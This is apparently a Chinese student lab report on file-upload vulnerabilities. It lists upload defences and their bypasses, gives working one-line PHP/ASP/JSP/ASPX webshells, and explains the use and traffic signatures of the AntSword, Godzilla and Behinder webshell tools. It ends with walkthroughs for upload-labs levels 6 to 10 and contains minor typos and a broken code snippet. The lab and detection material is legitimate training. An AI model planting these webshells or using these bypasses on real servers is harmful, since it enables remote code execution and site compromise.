实训作业day07
一、文件上传防御手段及绕过手段
1.防御手段
-
js前端校验文件类型
- 绕过:
-
利用谷歌游览器设置里禁用js。
-
删掉前端的js源代码。
-
通过brupsuite等代理工具:修改文件类型,通过js前端校验后把改回类型再上传。
-
- 绕过:
-
校验上传文件类型
-
文件头检测
- 绕过:
-
在木马内容的前面插入对应的文件头内容(如GIF89a)。
-
在可上传的文件中插入木马代码,然后修改后缀。
-
- 绕过:
-
文件加载检测
- 绕过:
-
分片上传:将大文件分割成小块上传,然后在服务器端重新合并,绕过单次上传大小限制。
-
修改请求:通过工具修改请求头或数据流来伪造文件大小。
-
- 绕过:
-
-
校验上传文件路径
- 绕过:
-
路径注入:通过利用相对路径。
-
Unicode编码:使用Unicode编码绕过路径过滤,例如 …%2F…%2F。
-
- 绕过:
-
校验请求头content-type字段
- 绕过:
-
通过brup代理工具抓包修改提交http头部的content-type字段信息。
-
使用挂马图片(mime限制的文件类型挂马)等。
-
- 绕过:
-
文件上传后存储到存储桶中
- 绕过:
-
请求伪造:通过伪造存储桶的访问请求,利用漏洞或未配置的安全策略访问文件。
-
利用策略漏洞:如果存储桶的策略配置不正确,例如允许跨域访问或不限制请求来源,攻击者可以通过这些策略绕过限制。
-
- 绕过:
-
文件上传后以时间戳方式重写文件名
- 绕过:
-
绕过重命名:通过使用文件夹结构中的文件“夹”,如 folder%2Ffilename。
-
利用符号链接:通过符号链接或硬链接使上传文件指向其他文件。
-
- 绕过:
-
设置可执行目录白名单
- 绕过:使用…/…/穿越到可执行目录。
2.绕过手段
- 大/双写文件名绕过
- 恶意文件内容以多段拼凑/拆解的形式组合
- 目录穿越到可执行目录
- 修改MIME类型
- 大小写绕过
- 图片木马
- 文件包含绕过
- 文件竞争绕过
- 修改文件后缀名
- filename换行、多等号、无双引号或单引号;多个filename
- windows上文件名+“::$DATA”能绕过检查后缀名
- 二次渲染
二、文件上传常用一句话木马
-
php
<?php @eval($_POST['cmd']);?> <?php assert($_POST['cmd']);?>
-
ASP
<%eval request("cmd")%> <%exexute(request("cmd"))%>
-
JSP
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
-
ASPX
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
三、webshell管理工具的使用方法
搭建ipload-labs靶场(工具使用以pass-01为例)
- 将upload-labs-master压缩包在phpstudy的www目录下解压,修改文件夹名为“upload-labs”。
- 浏览器输入“localhost/upload-labs”即可打开。
中国蚁剑
-
使用:
-
将一句话木马改为图片(jpg)格式。
-
上传后查看burpsuite抓到的包。把filename中文件的格式改回“php”,点击“Forward”。
-
文件上传成功,在文件处右键“在新标签页中打开图片”。
-
木马已经成功上传服务器。
-
打开中国蚁剑,在默认设置里勾选上“忽略HTTPS证书”。
-
点击“添加数据”,填好配置后测试连接。
-
在虚拟终端上输入任意命令。
-
代理设置中填上代理服务器和端口,保存后使用burpsuite抓包。
-
发送给编码器后,使用base64解码。
-
-
流量特征:
- 中国蚁剑支持自定义加密,但shel1不稳定,且对JSP兼容性比较差。
- 特征码为:data:(“display_errors” AND “set_time_limit(0)”) agent;"antSword/v2.0’。
- 使用URL加密。
- User-Agent的值为antsword字段。
- 请求中存在eval,可能出现拼接或者大小写情况。
- 请求体中存在@ini_set (url解密)。
- 参数中大量存在 0X字段(弱特征)。
哥斯拉
-
使用:
-
在安装目录打开cmd,输入命令“java -jar godzilla.jia”开启哥斯拉。
-
在“管理”点击“生成”,设置好密码和有效载荷后点击“生成”生成木马test.php。
-
选择木马的存储路径,这里选择phpstudy的www目录下。
-
点击“target”,设置参数后测试连接。
-
测试成功后点击“添加”。
-
在生成的数据行右键“进入”。
-
使用burpsuite抓包。
-
-
流量特征:
- 基于流量、HTTP全加密的webshel1工具,看不出有明显的攻击特征,需要结合流量找到哥斯拉webshel1上传成功的流量来进行分析和判断,另外该工具自带了一些插
件模块,实现了写无文件 WebShell 等强大的功能,可以伪造UA头和Accept头,消除请求包和响应包中的特征;。 - Cookie中有一个非常关键的特征,最后会有个分
号。 - 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。
- 整个响应包的结构体征为: md5前十六位+base64+md5后十六位。
- Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp/;g=0.8 (固定的)。
- 哥斯拉会建立三次tcp连接(强特征)。
- 基于流量、HTTP全加密的webshel1工具,看不出有明显的攻击特征,需要结合流量找到哥斯拉webshel1上传成功的流量来进行分析和判断,另外该工具自带了一些插
冰蝎
-
使用:
-
在安装目录打开cmd,输入命令“java -jar Behider.jia”开启冰蝎。
-
将冰蝎自带的shell.php文件复制到“E:\homework\xinyue\phpstudy\phpstudy_pro\WWW”目录下。
-
新增shell中的密码是“rebeyond”,点击”保存“。
-
双击shell连接成功后可看到php版本界面。
-
在”命令执行“执行任意命令。
-
设置代理为”启用“,点击”保存“。
-
使用burpsuite抓包。
-
-
流量特征:
-
不同版本的冰竭流量特征会有区别:
-
3.0流量动态AES加密,一般http包头中content-type为application/octet-stream。
-
4.0流量动态AES加密,一般http包头中content-type为application/x-www-form-urlencoded。
-
-
使用长连接,默认情况下,请求头和响应头里会带有Connection: Keep-Alive。
-
连接的端口,每次连接使用本地端口在49700左右(就是比较大的端口)。
-
Accept:字段中存在 application/json,text/javascript,/;q=0.01。
-
UA头是冰蝎内置的,有规律的 (10种内置UA头,随机选择)大量的aes加密(弱特征)。
-
四、文件上传无回显如何查找webshell地址
方法1:字典爆破
根据经验,文件上传后,文件有时会直接以文件名的形式放在专属的upload目录中,通常是/upload/1.php,有时会加上当前日期,比如/upload/2024-01-01/1.php,或者其他不修改文件的所在目录,可以使用字典去爆破。
方法2:时间戳枚举
在渗透测试过程中,有些文件后,会以上传时间的时间戳为名称来进行重命名,我们需要根据时间戳来命名。通常我们会以响应包中的Date字段为参照时间戳进行枚举。
from datetime import datetime
#从字符串转换
date_str = "2024-09-01 12:00:00"
date_obj = datetime.strptime(date_str, "%Y-%m-%d %H-%M-%S"
也可通过在线的时间戳转换网站进行获取:https://www.beijing-time.org/shijianchuo/
五、文件上传表单的无参/有参情况下构造表单
-
无参时使用万能表单
POST /XXXX HTTP/2 Host: Content-Type:multipart/form-data;boudary=----------------------------220024558220537725772788875484 Content-Length:1632 ----------------------------220024558220537725772788875484 Content-Disposition:form-data; name="file";filename="1.aspx" Content-Type:image/png ----------------------------220024558220537725772788875484
-
有参时:每个参数使用“----------------------------220024558220537725772788875484”分隔开来。
六、upload-labs靶场通关第6-第10关
第六关
-
防御方法:观察源码,发现pass-06是黑名单检查后缀,并进行了首尾去空。
-
绕过方法:文件名大小写绕过。
-
通关步骤:
-
在目录“E:\homework\xinyue\phpstudy\phpstudy_pro\WWW\upload-labs\upload”新建文件test.php。
-
选择该文件上传,单击“上传”。
-
在burpsiute拦截的包修改filename为“test.PHP”,发送。
-
在文件上传的位置右键,点击“在新标签页中打开图片”即可查看。
-
第七关
-
防御方法:观察源码,发现pass-07不仅检查后缀,还进行了首尾去空、转换为小写。
-
绕过方法:文件名后加空格绕过。
-
通关步骤:
-
选择test.php文件上传,在burpsiute拦截的包修改filename为“test.php ”,发送。
-
在文件上传的位置右键,点击“在新标签页中打开图片”即可查看。
-
第八关
-
防御方法:观察源码,发现pass-08禁止上传所有可解析的后缀,但缺少了deldot函数。
-
绕过方法:文件名后加“.”绕过。
-
通关步骤:
-
选择test.php文件上传,在burpsiute拦截的包修改filename为“test.php.”,发送。
-
在文件上传的位置右键,点击“在新标签页中打开图片”即可查看。
-
第九关
-
防御方法:观察源码,发现pass-09禁止上传所有可解析的后缀,但没有过滤“::$$DATA”字符串的str_ireplace函数。
-
绕过方法:文件名后加“::$$DATA”绕过。
-
通关步骤:
-
选择test.php文件上传,在burpsiute拦截的包修改filename为“test.php::$$DATA”,发送。
-
在文件上传的位置右键,点击“在新标签页中打开图片”即可查看。
-
第十关
-
防御方法:观察源码,发现pass-10禁只允许上传.jpg|.png|.gif后缀的文件(白名单检测),但没有过滤“::$$DATA”字符串的str_ireplace函数。
-
绕过方法:由于deldot()函数从后向前检测,遇到空格会停止,文件名后加“. . ”绕过。
-
通关步骤:
-
选择test.php文件上传,在burpsiute拦截的包修改filename为“test.php. . ”,发送。
-
在文件上传的位置右键,点击“在新标签页中打开图片”即可查看。
-